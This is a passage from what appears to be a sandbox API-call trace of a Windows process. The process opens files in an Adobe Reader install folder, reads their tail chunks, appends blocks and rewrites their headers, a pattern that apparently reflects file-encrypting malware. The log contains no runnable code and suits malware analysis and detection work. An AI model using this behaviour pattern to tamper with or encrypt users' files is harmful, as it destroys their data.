hTemplateFile=0x0) returned 0x168 [0050.086] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.086] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x7ff9 [0050.086] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.086] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.086] ReleaseMutex (hMutex=0x128) returned 1 [0050.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slo32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.086] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slo32.clx", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slo32.clx", lpUsedDefaultChar=0x0) returned 9 [0050.086] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.088] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x6ff9 [0050.088] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.089] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x6ff9 [0050.089] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.089] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0050.089] WriteFile (in: hFile=0x168, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.089] CloseHandle (hObject=0x168) returned 1 [0050.090] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.090] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.090] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x38c [0050.090] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.090] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.090] ReleaseMutex (hMutex=0x128) returned 1 [0050.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.090] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd.fca", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swd.fca", lpUsedDefaultChar=0x0) returned 7 [0050.090] ReadFile (in: hFile=0x168, lpBuffer=0x1e3ad38, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e3ad38*, lpNumberOfBytesRead=0x304f2bc*=0x38c, lpOverlapped=0x0) returned 1 [0050.092] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0050.092] WriteFile (in: hFile=0x168, lpBuffer=0x27ac368*, nNumberOfBytesToWrite=0x914, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesWritten=0x304f2d0*=0x914, lpOverlapped=0x0) returned 1 [0050.092] CloseHandle (hObject=0x168) returned 1 [0050.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\usa03.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\usa03.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.092] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.092] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2a6da [0050.093] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.093] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.093] ReleaseMutex (hMutex=0x128) returned 1 [0050.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="usa03.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.093] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="usa03.hsp", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="usa03.hsp", lpUsedDefaultChar=0x0) returned 9 [0050.093] ReadFile (in: hFile=0x168, lpBuffer=0x1de8de8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0050.094] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x296da [0050.094] ReadFile (in: hFile=0x168, lpBuffer=0x261b6a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.095] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x296da [0050.095] WriteFile (in: hFile=0x168, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.095] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0050.096] WriteFile (in: hFile=0x168, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0050.096] CloseHandle (hObject=0x168) returned 1 [0050.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.096] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.096] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x288d [0050.096] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.096] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.096] ReleaseMutex (hMutex=0x128) returned 1 [0050.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="symbol.txt", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="symbol.txt", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="symbol.txt", lpUsedDefaultChar=0x0) returned 10 [0050.097] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.098] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x188d [0050.098] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.099] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x188d [0050.099] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.099] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0050.099] WriteFile (in: hFile=0x168, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.099] CloseHandle (hObject=0x168) returned 1 [0050.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.100] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.100] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x342b [0050.100] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.100] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.100] ReleaseMutex (hMutex=0x128) returned 1 [0050.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GREEK.TXT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GREEK.TXT", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GREEK.TXT", lpUsedDefaultChar=0x0) returned 9 [0050.100] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.102] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x242b [0050.102] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.103] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x242b [0050.103] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.103] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0050.103] WriteFile (in: hFile=0x168, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.103] CloseHandle (hObject=0x168) returned 1 [0050.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.104] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.104] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x121a [0050.104] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.104] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.104] ReleaseMutex (hMutex=0x128) returned 1 [0050.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKRAINE.TXT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.104] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UKRAINE.TXT", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UKRAINE.TXT", lpUsedDefaultChar=0x0) returned 11 [0050.104] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x121a, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f2bc*=0x121a, lpOverlapped=0x0) returned 1 [0050.108] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0050.108] WriteFile (in: hFile=0x168, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x17a2, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x304f2d0*=0x17a2, lpOverlapped=0x0) returned 1 [0050.109] CloseHandle (hObject=0x168) returned 1 [0050.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0050.109] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.109] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2221 [0050.109] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0050.109] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.110] ReleaseMutex (hMutex=0x128) returned 1 [0050.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP874.TXT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.110] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP874.TXT", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP874.TXT", lpUsedDefaultChar=0x0) returned 9 [0050.110] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.114] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1221 [0050.114] ReadFile (in: hFile=0x168, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0050.117] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1221 [0050.118] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0050.118] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0050.118] WriteFile (in: hFile=0x168, lpBuffer=0x1dab608*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dab608*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0050.118] CloseHandle (hObject=0x168) returned 1 [0050.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1033.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0050.118] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst", lpFilePart=0x304f690*="1033.mst") returned 0x64 [0050.118] GetLastError () returned 0x5 [0050.118] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0050.118] LocalFree (hMem=0x70b5a8) returned 0x0 [0050.118] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0050.118] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0050.118] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0050.119] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0050.119] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1033.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1033.mst")) returned 0x21 [0050.119] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1045.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1045.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0050.119] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1045.mst", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1045.mst", lpFilePart=0x304f690*="1045.mst") returned 0x64 [0050.119] GetLastError () returned 0x5 [0050.119] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x304f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̄폈H̄퐔H̄L̄ꢈǦ\x01") returned 0x13 [0050.119] LocalFree (hMem=0x70b5a8) returned 0x0 [0050.119] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x304d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0050.119] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x304f894) [0050.119] RtlUnwind (TargetFrame=0x304f8fc, TargetIp=0x406ffc, ExceptionRecord=0x304f378, ReturnValue=0x0) [0050.119] RtlUnwind (TargetFrame=0x304f920, TargetIp=0x407184, ExceptionRecord=0x304f378, ReturnValue=0x0) [0050.119] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1045.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1045.mst")) returned 0x21 [0050.120] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1069.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1069.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0050.120] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1069.mst", nBufferLength=0x104, lpBuffer=0x304f694, lpFilePart=0x304f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1069.mst", lpFilePart=0x304f690*="1069.mst") returned 0x64 [0050.120] GetLastError () returned 0x5 [0050.120] FormatMessageW (in: dwFlags=0x3300, 